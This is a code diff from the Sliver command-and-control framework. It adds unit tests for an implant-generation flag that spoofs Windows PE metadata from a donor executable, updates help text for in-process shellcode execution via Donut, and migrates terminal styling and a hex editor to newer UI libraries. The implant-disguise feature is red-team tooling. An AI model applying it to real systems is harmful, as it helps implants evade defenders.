|
||||||
|
)
|
||||||
|
|
||||||
|
func TestParseSpoofMetadataFlagDefaultOff(t *testing.T) {
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "windows",
|
||||||
|
GOARCH: "amd64",
|
||||||
|
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||||
|
}
|
||||||
|
|
||||||
|
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
if spoofMetadata != nil {
|
||||||
|
t.Fatal("expected spoof metadata to be nil when flag is not set")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseSpoofMetadataFlagNoArgUsesConfig(t *testing.T) {
|
||||||
|
t.Setenv("SLIVER_CLIENT_ROOT_DIR", t.TempDir())
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
if err := cmd.ParseFlags([]string{"--" + spoofMetadataFlagName}); err != nil {
|
||||||
|
t.Fatalf("ParseFlags() error: %v", err)
|
||||||
|
}
|
||||||
|
rootDir := os.Getenv("SLIVER_CLIENT_ROOT_DIR")
|
||||||
|
configPath := filepath.Join(rootDir, "spoof-metadata.yaml")
|
||||||
|
sourceData := []byte{0x01, 0x02, 0x03}
|
||||||
|
configData := "pe:\n source:\n name: donor.exe\n base64: " + base64.StdEncoding.EncodeToString(sourceData) + "\n"
|
||||||
|
if err := os.WriteFile(configPath, []byte(configData), 0o600); err != nil {
|
||||||
|
t.Fatalf("write spoof metadata config: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "windows",
|
||||||
|
GOARCH: "amd64",
|
||||||
|
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||||
|
}
|
||||||
|
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
|
||||||
|
t.Fatal("expected spoof metadata source from config file")
|
||||||
|
}
|
||||||
|
if got := spoofMetadata.GetPE().GetSource().GetData(); string(got) != string(sourceData) {
|
||||||
|
t.Fatalf("source data mismatch: got=%x want=%x", got, sourceData)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseSpoofMetadataFlagPathFromPositionalArg(t *testing.T) {
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
sourcePath := goPEFixturePath(t, "gcc-amd64-mingw-exec")
|
||||||
|
if err := cmd.ParseFlags([]string{"--" + spoofMetadataFlagName, sourcePath}); err != nil {
|
||||||
|
t.Fatalf("ParseFlags() error: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "windows",
|
||||||
|
GOARCH: "amd64",
|
||||||
|
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||||
|
}
|
||||||
|
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
|
||||||
|
t.Fatal("expected spoof metadata source from positional path")
|
||||||
|
}
|
||||||
|
if spoofMetadata.GetPE().GetSource().GetName() != filepath.Base(sourcePath) {
|
||||||
|
t.Fatalf("source name mismatch: got=%q want=%q", spoofMetadata.GetPE().GetSource().GetName(), filepath.Base(sourcePath))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseSpoofMetadataFlagPathRejectsNonWindowsTarget(t *testing.T) {
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
sourcePath := writeTempFile(t, "not-pe.bin", []byte("abc"))
|
||||||
|
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
|
||||||
|
t.Fatalf("set flag: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "linux",
|
||||||
|
GOARCH: "amd64",
|
||||||
|
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||||
|
}
|
||||||
|
_, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected error for non-windows target")
|
||||||
|
}
|
||||||
|
if !strings.Contains(err.Error(), "supports only windows PE targets") {
|
||||||
|
t.Fatalf("unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseSpoofMetadataFlagPathChecksMachine(t *testing.T) {
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
sourcePath := goPEFixturePath(t, "gcc-386-mingw-exec")
|
||||||
|
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
|
||||||
|
t.Fatalf("set flag: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "windows",
|
||||||
|
GOARCH: "amd64",
|
||||||
|
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||||
|
}
|
||||||
|
_, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err == nil {
|
||||||
|
t.Fatal("expected machine mismatch error")
|
||||||
|
}
|
||||||
|
if !strings.Contains(err.Error(), "expected amd64") {
|
||||||
|
t.Fatalf("unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseSpoofMetadataFlagPathSuccess(t *testing.T) {
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
sourcePath := goPEFixturePath(t, "gcc-amd64-mingw-exec")
|
||||||
|
if err := cmd.Flags().Set(spoofMetadataFlagName, sourcePath); err != nil {
|
||||||
|
t.Fatalf("set flag: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
config := &clientpb.ImplantConfig{
|
||||||
|
GOOS: "windows",
|
||||||
|
GOARCH: "amd64",
|
||||||
|
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||||
|
}
|
||||||
|
spoofMetadata, err := parseSpoofMetadataFlag(cmd, config)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("parseSpoofMetadataFlag() unexpected error: %v", err)
|
||||||
|
}
|
||||||
|
if spoofMetadata == nil || spoofMetadata.GetPE() == nil || spoofMetadata.GetPE().GetSource() == nil {
|
||||||
|
t.Fatal("expected spoof metadata source from path")
|
||||||
|
}
|
||||||
|
if spoofMetadata.GetPE().GetSource().GetName() != filepath.Base(sourcePath) {
|
||||||
|
t.Fatalf("source name mismatch: got=%q want=%q", spoofMetadata.GetPE().GetSource().GetName(), filepath.Base(sourcePath))
|
||||||
|
}
|
||||||
|
if len(spoofMetadata.GetPE().GetSource().GetData()) == 0 {
|
||||||
|
t.Fatal("expected non-empty source data")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSpoofMetadataFlagUsageIsClean(t *testing.T) {
|
||||||
|
cmd := newSpoofMetadataTestCommand(t)
|
||||||
|
usage := cmd.Flags().FlagUsages()
|
||||||
|
if !strings.Contains(usage, "--"+spoofMetadataFlagName) {
|
||||||
|
t.Fatalf("expected usage to include spoof metadata flag, got: %s", usage)
|
||||||
|
}
|
||||||
|
if strings.Contains(usage, "string[=") {
|
||||||
|
t.Fatalf("unexpected optional-string marker in usage: %s", usage)
|
||||||
|
}
|
||||||
|
if strings.Contains(usage, `[="`) {
|
||||||
|
t.Fatalf("unexpected no-opt default rendering in usage: %s", usage)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func newSpoofMetadataTestCommand(t *testing.T) *cobra.Command {
|
||||||
|
t.Helper()
|
||||||
|
cmd := &cobra.Command{Use: "test"}
|
||||||
|
bindSpoofMetadataFlag(cmd.Flags())
|
||||||
|
return cmd
|
||||||
|
}
|
||||||
|
|
||||||
|
func writeTempFile(t *testing.T, name string, data []byte) string {
|
||||||
|
t.Helper()
|
||||||
|
path := filepath.Join(t.TempDir(), name)
|
||||||
|
if err := os.WriteFile(path, data, 0o600); err != nil {
|
||||||
|
t.Fatalf("write temp file: %v", err)
|
||||||
|
}
|
||||||
|
return path
|
||||||
|
}
|
||||||
|
|
||||||
|
func goPEFixturePath(t *testing.T, fixtureName string) string {
|
||||||
|
t.Helper()
|
||||||
|
fixturePath := filepath.Join(runtime.GOROOT(), "src", "debug", "pe", "testdata", fixtureName)
|
||||||
|
if _, err := os.Stat(fixturePath); err != nil {
|
||||||
|
t.Skipf("missing PE fixture %s: %v", fixturePath, err)
|
||||||
|
}
|
||||||
|
return fixturePath
|
||||||
|
}
|
||||||
@@ -0,0 +1,36 @@
|
|||||||
|
package generate
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
type spoofMetadataFlagValue struct {
|
||||||
|
value string
|
||||||
|
}
|
||||||
|
|
||||||
|
func newSpoofMetadataFlagValue() *spoofMetadataFlagValue {
|
||||||
|
return &spoofMetadataFlagValue{}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *spoofMetadataFlagValue) Set(value string) error {
|
||||||
|
value = strings.TrimSpace(value)
|
||||||
|
switch strings.ToLower(value) {
|
||||||
|
case "", "true":
|
||||||
|
s.value = "true"
|
||||||
|
case "false":
|
||||||
|
s.value = "false"
|
||||||
|
default:
|
||||||
|
s.value = value
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *spoofMetadataFlagValue) String() string {
|
||||||
|
return s.value
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *spoofMetadataFlagValue) Type() string {
|
||||||
|
return "bool"
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *spoofMetadataFlagValue) IsBoolFlag() bool {
|
||||||
|
return true
|
||||||
|
}
|
||||||
@@ -71,7 +71,7 @@ func DisplayTrafficEncoders(encoderMap *clientpb.TrafficEncoderMap, con *console
|
|||||||
allIDs = append(allIDs, encoder.ID)
|
allIDs = append(allIDs, encoder.ID)
|
||||||
name := encoder.Wasm.Name
|
name := encoder.Wasm.Name
|
||||||
if isDuplicate {
|
if isDuplicate {
|
||||||
name = fmt.Sprintf(console.Bold+console.Red+"%s (duplicate id)"+console.Normal, name)
|
name = console.StyleBoldRed.Render(fmt.Sprintf("%s (duplicate id)", name))
|
||||||
}
|
}
|
||||||
tw.AppendRow(table.Row{
|
tw.AppendRow(table.Row{
|
||||||
encoder.ID,
|
encoder.ID,
|
||||||
@@ -212,9 +212,9 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest
|
|||||||
for _, test := range tests.Tests {
|
for _, test := range tests.Tests {
|
||||||
var success string
|
var success string
|
||||||
if test.Success {
|
if test.Success {
|
||||||
success = console.Bold + console.Green + "Passed" + console.Normal
|
success = console.StyleBoldGreen.Render("Passed")
|
||||||
} else {
|
} else {
|
||||||
success = console.Bold + console.Red + "Failed!" + console.Normal
|
success = console.StyleBoldRed.Render("Failed!")
|
||||||
}
|
}
|
||||||
errorMsg := "N/A"
|
errorMsg := "N/A"
|
||||||
if test.Err != "" {
|
if test.Err != "" {
|
||||||
@@ -234,7 +234,7 @@ func displayTrafficEncoderTests(running bool, tests *clientpb.TrafficEncoderTest
|
|||||||
if running {
|
if running {
|
||||||
con.Println()
|
con.Println()
|
||||||
con.Println()
|
con.Println()
|
||||||
con.Printf(console.Bold+" >>> Running test %d of %d please wait ...\r"+console.Normal, len(tests.Tests), tests.TotalTests)
|
con.Printf("%s\r", console.StyleBold.Render(fmt.Sprintf(" >>> Running test %d of %d please wait ...", len(tests.Tests), tests.TotalTests)))
|
||||||
lineCount += 2
|
lineCount += 2
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -23,12 +23,13 @@ package help
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"bytes"
|
|
||||||
"fmt"
|
"fmt"
|
||||||
|
"image/color"
|
||||||
"strings"
|
"strings"
|
||||||
"text/template"
|
|
||||||
|
|
||||||
|
"charm.land/lipgloss/v2"
|
||||||
consts "github.com/bishopfox/sliver/client/constants"
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
|
"github.com/bishopfox/sliver/client/theme"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
@@ -436,8 +437,9 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
|||||||
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
|
mountHelp = `[[.Bold]]Command:[[.Normal]] mount
|
||||||
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
|
[[.Bold]]About:[[.Normal]] Displays information about mounted drives on the system, including mount point, space metrics, and filesystem.`
|
||||||
|
|
||||||
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode]
|
executeShellcodeHelp = `[[.Bold]]Command:[[.Normal]] execute-shellcode [local path to raw shellcode or PE]
|
||||||
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process.
|
[[.Bold]]About:[[.Normal]] Executes the given shellcode in the implant's process. On Windows targets, PE input can be
|
||||||
|
converted with Donut before execution and tuned with [[.Bold]]--shellcode-*[[.Normal]] flags.
|
||||||
|
|
||||||
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
|
[[.Bold]][[.Underline]]++ Shellcode ++[[.Normal]]
|
||||||
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
|
Shellcode files should be binary encoded, you can generate Sliver shellcode files with the generate command:
|
||||||
@@ -1418,24 +1420,6 @@ On Windows, escaping is disabled. Instead, '\\' is treated as path separator.`
|
|||||||
To get information about services, you need to be an authenticated user on the system or domain. To control services, you need administrator or higher privileges.`
|
To get information about services, you need to be an authenticated user on the system or domain. To control services, you need administrator or higher privileges.`
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
|
||||||
// ANSI Colors
|
|
||||||
normal = "\033[0m"
|
|
||||||
black = "\033[30m"
|
|
||||||
red = "\033[31m"
|
|
||||||
green = "\033[32m"
|
|
||||||
orange = "\033[33m"
|
|
||||||
blue = "\033[34m"
|
|
||||||
purple = "\033[35m"
|
|
||||||
cyan = "\033[36m"
|
|
||||||
gray = "\033[37m"
|
|
||||||
bold = "\033[1m"
|
|
||||||
clearln = "\r\x1b[2K"
|
|
||||||
upN = "\033[%dA"
|
|
||||||
downN = "\033[%dB"
|
|
||||||
underline = "\033[4m"
|
|
||||||
)
|
|
||||||
|
|
||||||
// GetHelpFor - Get help string for a command
|
// GetHelpFor - Get help string for a command
|
||||||
func GetHelpFor(cmdName []string) string {
|
func GetHelpFor(cmdName []string) string {
|
||||||
if 0 < len(cmdName) {
|
if 0 < len(cmdName) {
|
||||||
@@ -1446,34 +1430,100 @@ func GetHelpFor(cmdName []string) string {
|
|||||||
return ""
|
return ""
|
||||||
}
|
}
|
||||||
|
|
||||||
// FormatHelpTmpl - Applies format template to help string
|
type helpStyleState struct {
|
||||||
|
bold bool
|
||||||
|
underline bool
|
||||||
|
fgSet bool
|
||||||
|
fg color.Color
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *helpStyleState) reset() {
|
||||||
|
s.bold = false
|
||||||
|
s.underline = false
|
||||||
|
s.fgSet = false
|
||||||
|
s.fg = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *helpStyleState) apply(token string) bool {
|
||||||
|
switch token {
|
||||||
|
case "Normal":
|
||||||
|
s.reset()
|
||||||
|
case "Bold":
|
||||||
|
s.bold = true
|
||||||
|
case "Underline":
|
||||||
|
s.underline = true
|
||||||
|
case "Black":
|
||||||
|
s.fgSet, s.fg = true, theme.DefaultMod(50)
|
||||||
|
case "Red":
|
||||||
|
s.fgSet, s.fg = true, theme.Danger()
|
||||||
|
case "Green":
|
||||||
|
s.fgSet, s.fg = true, theme.Success()
|
||||||
|
case "Orange":
|
||||||
|
s.fgSet, s.fg = true, theme.Warning()
|
||||||
|
case "Blue":
|
||||||
|
s.fgSet, s.fg = true, theme.Primary()
|
||||||
|
case "Purple":
|
||||||
|
s.fgSet, s.fg = true, theme.Secondary()
|
||||||
|
case "Cyan":
|
||||||
|
s.fgSet, s.fg = true, theme.PrimaryMod(500)
|
||||||
|
case "Gray":
|
||||||
|
// ANSI "gray" (37) is typically light; map to the lightest neutral.
|
||||||
|
s.fgSet, s.fg = true, theme.DefaultMod(900)
|
||||||
|
default:
|
||||||
|
return false
|
||||||
|
}
|
||||||
|
return true
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s helpStyleState) render(text string) string {
|
||||||
|
if text == "" {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
st := lipgloss.NewStyle()
|
||||||
|
if s.bold {
|
||||||
|
st = st.Bold(true)
|
||||||
|
}
|
||||||
|
if s.underline {
|
||||||
|
st = st.Underline(true)
|
||||||
|
}
|
||||||
|
if s.fgSet {
|
||||||
|
st = st.Foreground(s.fg)
|
||||||
|
}
|
||||||
|
return st.Render(text)
|
||||||
|
}
|
||||||
|
|
||||||
|
// FormatHelpTmpl - Applies the help markup (e.g. [[.Bold]]...[[.Normal]]) using lipgloss.
|
||||||
func FormatHelpTmpl(helpStr string) string {
|
func FormatHelpTmpl(helpStr string) string {
|
||||||
outputBuf := bytes.NewBufferString("")
|
var (
|
||||||
tmpl, _ := template.New("help").Delims("[[", "]]").Parse(helpStr)
|
out strings.Builder
|
||||||
tmpl.Execute(outputBuf, struct {
|
state helpStyleState
|
||||||
Normal string
|
)
|
||||||
Bold string
|
state.reset()
|
||||||
Underline string
|
|
||||||
Black string
|
i := 0
|
||||||
Red string
|
for i < len(helpStr) {
|
||||||
Green string
|
j := strings.Index(helpStr[i:], "[[.")
|
||||||
Orange string
|
if j < 0 {
|
||||||
Blue string
|
out.WriteString(state.render(helpStr[i:]))
|
||||||
Purple string
|
break
|
||||||
Cyan string
|
}
|
||||||
Gray string
|
j += i
|
||||||
}{
|
if j > i {
|
||||||
Normal: normal,
|
out.WriteString(state.render(helpStr[i:j]))
|
||||||
Bold: bold,
|
}
|
||||||
Underline: underline,
|
|
||||||
Black: black,
|
k := strings.Index(helpStr[j:], "]]")
|
||||||
Red: red,
|
if k < 0 {
|
||||||
Green: green,
|
out.WriteString(state.render(helpStr[j:]))
|
||||||
Orange: orange,
|
break
|
||||||
Blue: blue,
|
}
|
||||||
Purple: purple,
|
token := helpStr[j+3 : j+k]
|
||||||
Cyan: cyan,
|
if !state.apply(token) {
|
||||||
Gray: gray,
|
// Unknown token; preserve it as plain text.
|
||||||
})
|
out.WriteString(helpStr[j : j+k+2])
|
||||||
return outputBuf.String()
|
}
|
||||||
|
i = j + k + 2
|
||||||
|
}
|
||||||
|
|
||||||
|
return out.String()
|
||||||
}
|
}
|
||||||
@@ -5,9 +5,10 @@ import (
|
|||||||
"strconv"
|
"strconv"
|
||||||
"strings"
|
"strings"
|
||||||
|
|
||||||
|
tea "charm.land/bubbletea/v2"
|
||||||
|
"charm.land/lipgloss/v2"
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
"github.com/bishopfox/sliver/util"
|
"github.com/bishopfox/sliver/util"
|
||||||
tea "github.com/charmbracelet/bubbletea"
|
|
||||||
"github.com/charmbracelet/lipgloss"
|
|
||||||
"golang.org/x/term"
|
"golang.org/x/term"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -61,13 +62,19 @@ type editorModel struct {
|
|||||||
}
|
}
|
||||||
|
|
||||||
var (
|
var (
|
||||||
cursorStyle = lipgloss.NewStyle().Reverse(true)
|
lineStyle = lipgloss.NewStyle()
|
||||||
modifiedStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215"))
|
|
||||||
modifiedCursorStyle = lipgloss.NewStyle().Foreground(lipgloss.Color("215")).Reverse(true)
|
|
||||||
statusStyle = lipgloss.NewStyle().Reverse(true)
|
|
||||||
lineStyle = lipgloss.NewStyle()
|
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
ansiReverseOn = "\x1b[7m"
|
||||||
|
ansiReverseOff = "\x1b[0m"
|
||||||
|
)
|
||||||
|
|
||||||
|
func modifiedStyle() lipgloss.Style {
|
||||||
|
// Read from the global console theme so theme.yaml changes are reflected.
|
||||||
|
return console.StyleWarning
|
||||||
|
}
|
||||||
|
|
||||||
func newEditorModel(data []byte, filename string, offset int) *editorModel {
|
func newEditorModel(data []byte, filename string, offset int) *editorModel {
|
||||||
copyData := append([]byte(nil), data...)
|
copyData := append([]byte(nil), data...)
|
||||||
model := &editorModel{
|
model := &editorModel{
|
||||||
@@ -105,30 +112,31 @@ func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
|
|||||||
m.height = msg.Height
|
m.height = msg.Height
|
||||||
m.ensureCursorVisible()
|
m.ensureCursorVisible()
|
||||||
return m, nil
|
return m, nil
|
||||||
case tea.KeyMsg:
|
case tea.KeyPressMsg:
|
||||||
if m.clearMessage {
|
if m.clearMessage {
|
||||||
m.message = ""
|
m.message = ""
|
||||||
m.clearMessage = false
|
m.clearMessage = false
|
||||||
}
|
}
|
||||||
if msg.Type == tea.KeyCtrlC {
|
key := msg.Key()
|
||||||
|
if key.Mod.Contains(tea.ModCtrl) && key.Code == 'c' {
|
||||||
m.action = actionQuit
|
m.action = actionQuit
|
||||||
return m, tea.Quit
|
return m, tea.Quit
|
||||||
}
|
}
|
||||||
switch m.mode {
|
switch m.mode {
|
||||||
case modeCommand:
|
case modeCommand:
|
||||||
return m.handleCommand(msg)
|
return m.handleCommand(key)
|
||||||
case modeHexEdit:
|
case modeHexEdit:
|
||||||
return m.handleHexEdit(msg)
|
return m.handleHexEdit(key)
|
||||||
case modeASCIIEdit:
|
case modeASCIIEdit:
|
||||||
return m.handleASCIIEdit(msg)
|
return m.handleASCIIEdit(key)
|
||||||
default:
|
default:
|
||||||
return m.handleNormal(msg)
|
return m.handleNormal(key)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) View() string {
|
func (m *editorModel) View() tea.View {
|
||||||
if m.width == 0 || m.height == 0 {
|
if m.width == 0 || m.height == 0 {
|
||||||
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
|
||||||
m.width = w
|
m.width = w
|
||||||
@@ -151,19 +159,33 @@ func (m *editorModel) View() string {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if m.height < 2 {
|
if m.height < 2 {
|
||||||
return b.String()
|
return hexEditorView(b.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
b.WriteByte('\n')
|
b.WriteByte('\n')
|
||||||
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
|
b.WriteString(renderStatusBar(m.width, m.statusLine()))
|
||||||
|
|
||||||
if m.height < 3 {
|
if m.height < 3 {
|
||||||
return b.String()
|
return hexEditorView(b.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
b.WriteByte('\n')
|
b.WriteByte('\n')
|
||||||
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
|
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
|
||||||
return b.String()
|
return hexEditorView(b.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
func renderStatusBar(width int, text string) string {
|
||||||
|
return ansiReverseOn + lineStyle.Width(width).Render(text) + ansiReverseOff
|
||||||
|
}
|
||||||
|
|
||||||
|
func renderCursorCell(cell string) string {
|
||||||
|
return ansiReverseOn + cell + ansiReverseOff
|
||||||
|
}
|
||||||
|
|
||||||
|
func hexEditorView(content string) tea.View {
|
||||||
|
v := tea.NewView(content)
|
||||||
|
v.AltScreen = true
|
||||||
|
return v
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) result() editorResult {
|
func (m *editorModel) result() editorResult {
|
||||||
@@ -176,8 +198,8 @@ func (m *editorModel) result() editorResult {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleCommand(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.mode = modeNormal
|
m.mode = modeNormal
|
||||||
m.command = ""
|
m.command = ""
|
||||||
@@ -192,14 +214,16 @@ func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
}
|
}
|
||||||
case tea.KeyBackspace:
|
case tea.KeyBackspace:
|
||||||
m.command = popRune(m.command)
|
m.command = popRune(m.command)
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
m.command += string(msg.Runes)
|
if key.Text != "" {
|
||||||
|
m.command += key.Text
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleHexEdit(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.mode = modeNormal
|
m.mode = modeNormal
|
||||||
m.nibbleSet = false
|
m.nibbleSet = false
|
||||||
@@ -221,8 +245,8 @@ func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
case tea.KeyDown:
|
case tea.KeyDown:
|
||||||
m.moveDown()
|
m.moveDown()
|
||||||
m.nibbleSet = false
|
m.nibbleSet = false
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
for _, r := range msg.Runes {
|
for _, r := range key.Text {
|
||||||
val, ok := hexNibble(r)
|
val, ok := hexNibble(r)
|
||||||
if !ok {
|
if !ok {
|
||||||
continue
|
continue
|
||||||
@@ -241,8 +265,8 @@ func (m *editorModel) handleHexEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleASCIIEdit(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.mode = modeNormal
|
m.mode = modeNormal
|
||||||
case tea.KeyLeft:
|
case tea.KeyLeft:
|
||||||
@@ -253,8 +277,8 @@ func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
m.moveUp()
|
m.moveUp()
|
||||||
case tea.KeyDown:
|
case tea.KeyDown:
|
||||||
m.moveDown()
|
m.moveDown()
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
for _, r := range msg.Runes {
|
for _, r := range key.Text {
|
||||||
if r < 0 || r > 0xFF {
|
if r < 0 || r > 0xFF {
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
@@ -266,8 +290,8 @@ func (m *editorModel) handleASCIIEdit(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
return m, nil
|
return m, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
func (m *editorModel) handleNormal(key tea.Key) (tea.Model, tea.Cmd) {
|
||||||
switch msg.Type {
|
switch key.Code {
|
||||||
case tea.KeyEsc:
|
case tea.KeyEsc:
|
||||||
m.pending = 0
|
m.pending = 0
|
||||||
case tea.KeyLeft:
|
case tea.KeyLeft:
|
||||||
@@ -278,8 +302,8 @@ func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
|
|||||||
m.moveUp()
|
m.moveUp()
|
||||||
case tea.KeyDown:
|
case tea.KeyDown:
|
||||||
m.moveDown()
|
m.moveDown()
|
||||||
case tea.KeyRunes:
|
default:
|
||||||
for _, r := range msg.Runes {
|
for _, r := range key.Text {
|
||||||
if m.handleNormalRune(r) {
|
if m.handleNormalRune(r) {
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -399,18 +423,13 @@ func (m *editorModel) renderLine(lineIndex int) string {
|
|||||||
asciiRaw := string(printableByte(byteVal))
|
asciiRaw := string(printableByte(byteVal))
|
||||||
isModified := m.isModified(idx)
|
isModified := m.isModified(idx)
|
||||||
if idx == m.cursor {
|
if idx == m.cursor {
|
||||||
if isModified {
|
hexCells[i] = renderCursorCell(hexRaw)
|
||||||
hexCells[i] = modifiedCursorStyle.Render(hexRaw)
|
asciiCells[i] = renderCursorCell(asciiRaw)
|
||||||
asciiCells[i] = modifiedCursorStyle.Render(asciiRaw)
|
|
||||||
} else {
|
|
||||||
hexCells[i] = cursorStyle.Render(hexRaw)
|
|
||||||
asciiCells[i] = cursorStyle.Render(asciiRaw)
|
|
||||||
}
|
|
||||||
continue
|
continue
|
||||||
}
|
}
|
||||||
if isModified {
|
if isModified {
|
||||||
hexCells[i] = modifiedStyle.Render(hexRaw)
|
hexCells[i] = modifiedStyle().Render(hexRaw)
